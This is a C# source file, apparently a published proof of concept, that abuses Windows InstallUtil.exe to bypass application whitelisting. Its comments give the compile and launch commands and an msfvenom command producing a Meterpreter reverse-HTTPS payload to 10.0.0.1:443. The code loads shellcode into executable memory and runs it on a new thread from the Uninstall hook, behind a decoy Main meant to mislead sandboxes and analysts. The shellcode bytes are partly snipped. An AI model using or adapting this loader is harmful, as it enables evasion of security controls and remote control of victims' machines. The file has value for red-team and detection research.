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using System; | |
using System.Net; | |
using System.Diagnostics; | |
using System.Reflection; | |
using System.Configuration.Install; | |
using System.Runtime.InteropServices; | |
/* | |
Author: Casey Smith, Twitter: @subTee | |
License: BSD 3-Clause | |
Step One: | |
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:exeshell.exe Shellcode.cs | |
Step Two: | |
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe | |
(Or) | |
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe | |
The gist of this one is we can exhibit one behaviour if the application is launched via normal method, Main(). | |
Yet, when the Assembly is launched via InstallUtil.exe, it is loaded via Reflection and circumvents many whitelist controls. | |
We believe the root issue here is: | |
The root issue here with Assembly.Load() is that at the point at which execute operations are detected | |
(CreateFileMapping->NtCreateSection), only read-only access to the section is requested, so it is not processed as an execute operation. | |
Later, execute access is requested in the file mapping (MapViewOfFile->NtMapViewOfSection), | |
which results in the image being mapped as EXECUTE_WRITECOPY and subsequently allows unchecked execute access. | |
The concern is this technique can circumvent many security products, so I wanted to make you aware and get any feedback. | |
Its not really an exploit, but just a creative way to launch an exe/assembly. | |
*/ | |
//root@infosec:~# msfvenom --payload windows/meterpreter/reverse_https LHOST=10.0.0.1 LPORT=443 -f csharp > pentestShellCode.txt | |
public class Program | |
{ | |
public static void Main() | |
{ | |
Console.WriteLine("Hello From Main...I Don't Do Anything"); | |
//Add any behaviour here to throw off sandbox execution/analysts :) | |
} | |
} | |
[System.ComponentModel.RunInstaller(true)] | |
public class Sample : System.Configuration.Install.Installer | |
{ | |
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary. | |
public override void Uninstall(System.Collections.IDictionary savedState) | |
{ | |
Shellcode.Exec(); | |
} | |
} | |
public class Shellcode | |
{ | |
public static void Exec() | |
{ | |
// native function's compiled code | |
// generated with metasploit | |
byte[] shellcode = new byte[387] { | |
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, | |
,[Snip]0x53,0xff,0xd5 }; | |
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length, | |
MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length); | |
IntPtr hThread = IntPtr.Zero; | |
UInt32 threadId = 0; | |
// prepare data | |
IntPtr pinfo = IntPtr.Zero; | |
// execute native code | |
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); | |
WaitForSingleObject(hThread, 0xFFFFFFFF); | |
} | |
private static UInt32 MEM_COMMIT = 0x1000; | |
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; | |
[DllImport("kernel32")] | |
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, | |
UInt32 size, UInt32 flAllocationType, UInt32 flProtect); | |
[DllImport("kernel32")] | |
private static extern bool VirtualFree(IntPtr lpAddress, | |
UInt32 dwSize, UInt32 dwFreeType); | |
[DllImport("kernel32")] | |
private static extern IntPtr CreateThread( | |
UInt32 lpThreadAttributes, | |
UInt32 dwStackSize, | |
UInt32 lpStartAddress, | |
IntPtr param, | |
UInt32 dwCreationFlags, | |
ref UInt32 lpThreadId | |
); | |
[DllImport("kernel32")] | |
private static extern bool CloseHandle(IntPtr handle); | |
[DllImport("kernel32")] | |
private static extern UInt32 WaitForSingleObject( | |
IntPtr hHandle, | |
UInt32 dwMilliseconds | |
); | |
[DllImport("kernel32")] | |
private static extern IntPtr GetModuleHandle( | |
string moduleName | |
); | |
[DllImport("kernel32")] | |
private static extern UInt32 GetProcAddress( | |
IntPtr hModule, | |
string procName | |
); | |
[DllImport("kernel32")] | |
private static extern UInt32 LoadLibrary( | |
string lpFileName | |
); | |
[DllImport("kernel32")] | |
private static extern UInt32 GetLastError(); | |
} |
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